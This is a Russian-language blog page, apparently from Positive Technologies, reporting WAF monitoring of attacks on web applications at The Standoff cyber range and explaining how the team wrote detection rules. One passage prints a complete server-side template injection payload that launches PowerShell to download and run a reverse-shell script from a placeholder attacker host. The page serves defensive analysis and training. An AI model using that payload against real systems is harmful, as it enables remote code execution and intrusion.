С развитием киберполигонов у компаний начинает появляться возможность как можно точнее моделировать собственую инфраструктуру, а значит, оценка рисков и последствий выходит на новый уровень. Пока хакеры совершенствуют свои методы атак, компании повышают уровень зрелости в сфере ИБ и отрабатывают техники реагирования на киберинциденты. Все специалисты компьютерной безопасности от администраторов до пентестеров улучшают свои навыки не в искусственном окружении, а в реалистичной среде, повторяющей и инфраструктуру, и бизнес-процессы компаний. А это значит, что завтра враг уже не пройдет.

Изучить киберполигон The Standoff вживую вы сможете уже завтра 12 ноября. The Standoff стартует в онлайн-формате и продлится в этом году целых шесть дней. Помимо активностей, связанных с кибер-битвой, вы сможете послушать доклады лучших экспертов в области практической кибербезопасности со всего мира: более 30 спикеров из России, США, стран Европы и Азии поделятся с вами своими последними наработками. Для участия в мероприятии достаточно лишь подключиться к онлайн-платформе.

Автор: Ольга Зиненко, аналитики информационной безопасностиPositiveTechnologies

Подробнее..

Категории: Информационная безопасность , Блог компании positive technologies , Спортивное программирование , Иб , Моделирование угроз , Риски , Оценка рисков , Киберполигон , The standoff

Вердикт WAF, или Что происходило с веб-ресурсами цифровых двойников компаний на The Standoff

21.01.2021 18:22:37 |

Автор: admin

На прошедшем The Standoff мы, команда PT Expert Security Center, параллельно с участниками противостояния со стороны защиты мониторили инфраструктуру площадки и отдельных офисов цифровой копии мегаполиса, развернутой на нашем киберполигоне. Для этого мы развернули дополнительный security operations center (SOC), который как бы накрыл всю инфраструктуру, за счет чего видел все активности участников The Standoff и даже немного больше. Одним из инструментов этого SOC был PT Application Firewall межсетевой экран уровня веб-приложений (о результатах работы еще одного из инструментов нашего SOC PT Sandbox читайте в одной из наших предыдущих статей). Ниже речь пойдет исключительно о том, что происходило на площадке с точки зрения веба и какие цели выбирали команды атакующих.

Общая статистика по атакам

В рамках The Standoff мы мониторили атаки на портал самой площадки, а также на 30 веб-ресурсов, входящих в игровую инфраструктуру полигона. Это были ресурсы, задействованные как в основной игре (Meters офиса 25 Hours ресурс передачи показаний счетчиков, Consul для Nuft платформа управления сервисами, о которых пойдет речь ниже), так и в bug bounty (например, CMS Umbraco для Bank of FF, Mantis Bugtracker для 25 Hours система отслеживания ошибок в программных продуктах, rConfir RCE сервис управления сетевыми конфигурациями для Big Bro Group). Read teams получали баллы за реализацию рисков, а также за поиск уязвимостей в системах и репорты.

Кто был кто на киберполигоне:

- Heavy Ship Logistics компания, которая управляла аэропортом, железнодорожной станцией, морским портом;

- 25 Hours компания, управлявшая парком развлечений, деловым центром, светофорной сетью;

- Tube компания, под управлением которой были телерадиокомпания, газораспределительная станция, трансформаторная подстанция;

- Nuft организация, ведавшая нефтяным месторождением и нефтехимическим заводом;

- Big Bro Group электростанция;

- Bank of FF банк.

Ресурсы были равномерно распределены между площадками как по уровню сложности, так и по назначению. В частности приложения, участвующие в bug bounty, имеющие по два интерфейса и смотрящие во внутреннюю сеть виртуального офиса, являлись точкой входа для реализации рисков внутри компаний цифрового города. Таких приложений было 13. При этом шесть из них предполагали достижение цели bug bounty изнутри инфраструктуры офиса. Остальные приложения являлись тупиковыми, то есть фактически были одиночными конечными целями с достаточно простыми задачами на эксплуатацию различных уязвимостей (например, известная RCE во Flack или же BookStore SQL Injection часто предлагаемые для решения в capture the flag). Все эти порталы и приложения мы отслеживали исключительно в режиме мониторинга и зафиксировали атаки на 29 из 30 имеющихся в инфраструктуре веб-приложений (в одном из ресурсов была возможность для логических атак, которые можно было проводить только из сети банка). Единственным средством защиты, которым располагали защитники, был web application firewall.

Портал The Standoff также был заведен за PT Application Firewall но уже в режиме блокирования и с целью предотвращения возможных атак на поддерживающую мероприятие инфраструктуру из интернета.

Рисунок 1. Распределение атак по игровым дням

На рис. 1 представлено распределение атак по игровым дням. Серым цветом обозначены специфические сформированные правила для мероприятия, желтым атаки низкого уровня опасности, оранжевым среднего, красным высокого. Последние часто говорят нам о тех или иных командах, запущенных на атакуемом узле, или же о проэксплуатированных уязвимостях. Далее мы будем использовать эти же цвета.

Список наиболее часто производимых атак приведен ниже (указано количество атак за весь период The Standoff с 12:00 12 ноября до 14:00 17 ноября).

Рисунок 2. Список наиболее частых атак

Реальная картина проведенных атак и результаты мониторинга, полученные в PT Application Firewall, различаются, например, потому, что эксплуатация уязвимостей некоторых приложений проводилась уже изнутри периметра с внутренних адресов офиса защиты. Такие атаки могут фиксироваться внутренними средствами аудита. Кроме того, в любом из приложений могут быть использованы атаки, отличные от заложенных для игры, если итоговой целью не была эксплуатация конечной уязвимости. Данные о таких атаках могут фиксироваться не полностью, могут не отражаться в журналах.

Чаще всего атакующие выбирали целью приложения офисов Тube и Bank of FF: CMS Made Simple (CMS), bbord (виртуальная фотогалерея), CMS Umbraco, Prestoshop (сайт электронной коммерции), Avideo encoder (ресурс декодирования видео), FHEM tomcat (система умного дома), Consul, openEMR (электронная медицинская карта), ATutor (система управления обучением) и rConfig.

Как открывали двери в инфраструктуру через веб

Во время мониторинга мы проанализировали использованные атакующими инструменты для прохождения периметра. Наряду с традиционным прослушиванием портов с помощью nmap и инструментов типа Burp Suite большой популярностью пользовались самописные скрипты на Python и Go: они составляли почти четверть применяемых инструментов и зачастую использовались на базе уже имеющегося у атакующих инструментария типа Metasploit. Приложения на периметрах защитников активно фаззились с помощью встроенных модулей burp suite, модулей к Metasploit, Responder-инструментарием.

Из 30 задач, заложенных на периметре, решены все задачи низкого уровня сложности, 5 из 6 среднего и 2 из 6 повышенного. Задачи среднего и повышенного уровня сложности как раз представляют наибольший интерес, поскольку приводят ко входу в инфраструктуру для дальнейшей реализации рисков и конечно, позволяют набрать наибольшее количество баллов.

Приведем примеры наиболее интересных задач.

Задача Вход в пределы периметра управляющей компании города 25 Hours была реализована через приложение Meters. Это сайт, развернутый для передачи показаний счетчиков воды и электричества онлайн. Так как приложение использует выражения на языке HubL, то {{}} является обработчиком выражений. Все, что попадает в фигурные скобки, заменяется фактическими значениями при обработке. Атака реализуется следующим образом: проверяется наличие уязвимости с помощью вектора {{77}} и подобных, то есть по факту запускается вычисление 77.

Рисунок 3. Обнаружение Server Side Template Injection (SSTI) в PT Application Firewall для приложения Meters (адаптированное к The Standoff правило обнаружения)

Рисунок 4. Распределение атак типа SSTI для приложения Meters

Для реализации реальной атаки необходимо выполнить запрос на фронтенде приложения:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder(\"cmd.exe\",\"/c\",\"powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/mini-reverse.ps1');\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}.

Что и было проделано двумя командами атакующих.

Эта атака интересна с той точки зрения, что может служить отправной точкой для реализации векторов в парке развлечений цифрового города (например, для изменения скорости вращения колеса обозрения), в городе в целом (для нарушения работы светофорной сети) или же для кражи персональных данных горожан.

Еще одна интересная задача атака, реализованная в компании Nuft через приложение Consul. На внешнем сервисе размещено ПО для обхода блокировок. С помощью него можно реализовать атаку Server Side Request Forgery, которая проводится по протоколу Gopher и направляется методом PUT на прослушиваемый сервисом порт.

Полученный после проведенной манипуляции статус 200 говорит об успешной атаке.

Рисунок 5. Атака на приложение Consul (RCE).

Получение доступа и закрепление на этом узле позволяло реализовать атаки на такие объекты цифрового города, как нефтяное месторождение (пример цели технологический процесс транспортировки нефтепродуктов в хранилища) или нефтехимический завод (пример цели процессы производства химических веществ).

Для обнаружения некоторых типов атак и выявления эксплуатируемых уязвимостей была проведена настройка срабатываний (устранение false positive) и написаны дополнительные правила выявления атак. Рассмотрим принципы написания таких правил.

Для фиксации основных типов атак и их выявления рассматриваются proofs of concept проведения атаки с уточнением пути, по которому производится атака. Правило формируется на основе указанного пути, параметра, в который производится внедрение той или иной комбинации символов, ссылки или кода.

Например, в CMS Umbraco (использовалась в инфраструктуре компании Bank of FF) есть уязвимость, эксплуатация которой осуществляется из-под аутентифицированного пользователя методом POST; с помощью фиксации пути эксплуатации и параметров эксплуатации атака и была зафиксирована.

Рисунок 6. Правило выявления атаки в веб-трафике для CMS Umbraco

Нетрудно догадаться, что для Meters, атака на который была описана выше, аналогично сформировано правило на основании описанных выше вводных интерпретации и выполнения команд в фигурных скобках в одном из трех параметров.

Рисунок 7. Правило выявления атаки на Meters для команд, исполняемых интерпретатором в {}

Условие использования конечного приложения и request path применяется при необходимости обращений по конкретному пути.

В ходе такого анализа уязвимостей приложений было предварительно сформировано порядка 30 правил. Эти правила учитывают общую тенденцию, но не всегда покрывают все методы реализации атаки на то или иное приложение. Кроме заведомо известных и заложенных заранее векторов атак зачастую используются обходные пути. Например, вместо эксплуатации уязвимости на периметре с целью получения данных из базы атакующие получали доступ по альтернативному протоколу уже внутри сети (ODBC) или же делали backup и вытаскивали его через административные общие папки.

Выводы

Мы видим, что зачастую нападающие (в том числе и в рамках The Standoff) используют атаки на приложения, опубликованные на периметре, с целью получения первичного доступа и закрепления в инфраструктуре. Основным средством защиты таких приложений являются решения класса web application firewall. На киберполигоне PT Application Firewall показал свою эффективность в отслеживании различных атак на периметре, в том числе позволил формировать собственные правила для отслеживания атак. За счет удобного интерфейса и отображения как запросов, так и ответов приложения продукт позволил нам эффективно отсеивать false positive срабатывания, а также оценить спектр используемого атакующими инструментария.

Positive Technologies (PT Expert Security Center)

Подробнее..

Категории: Информационная безопасность , Блог компании positive technologies , Спортивное программирование , Моделирование угроз , The standoff , Standoff , Цифровые двойники

	Русский
	English

Моделирование угроз

Обзор проекта новой методики моделирования угроз безопасности информации

Как сейчас регулируется вопрос моделирования угроз?

Ключевые особенности новой методики

Удалась ли новая Методика?

И что же дальше?

FinTech. А что защищать?

Пентест Свет не выключайте, пожалуйста. Киберполигон А город надолго без света?

Вердикт WAF, или Что происходило с веб-ресурсами цифровых двойников компаний на The Standoff

Общая статистика по атакам

Как открывали двери в инфраструктуру через веб

Выводы

Категории

Последние комментарии